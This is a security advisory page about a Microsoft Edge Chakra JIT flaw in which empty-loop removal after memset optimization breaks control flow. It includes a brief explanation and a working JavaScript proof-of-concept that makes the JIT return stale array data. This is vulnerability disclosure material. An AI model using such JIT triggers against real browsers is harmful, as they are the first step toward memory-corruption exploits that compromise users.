Microsoft Edge Chakra JIT BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches

2018.01.09
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* The optimizations for memory operations may leave empty loops as follows: for (let i = 0; i < arr.length; i++) { arr[i] = 0; } Becomes: Memset(arr, 0, arr.length); for (let i = 0; i < arr.length; i++) { // empty! } These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches. Here's what may happen. A: Memset(arr, 0, arr.length); for (let i = 0; i < arr.length; i++) { } goto D; // Actually, this's a "BrGe_I4" instruction in the PoC. C: ... D: ... Becomes: A: Memset(arr, 0, arr.length); C: ... D: ... So, this may break the control flow. PoC: */ function opt(a, b, always_true = true) { a[0] = 1234; b[0] = 0; let arr = a; if (always_true) { arr = b; for (let i = 0; i < arr.length; i++) arr[i] = 0; } let val = arr[0]; if (val) { print(val); // Must be 0, but prints out 1234 return true; } return false; } let a = new Uint32Array(1); let b = new Uint32Array(0x1000); for (let i = 0; i < 10000; i++) { if (opt(a, b)) { break; } }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top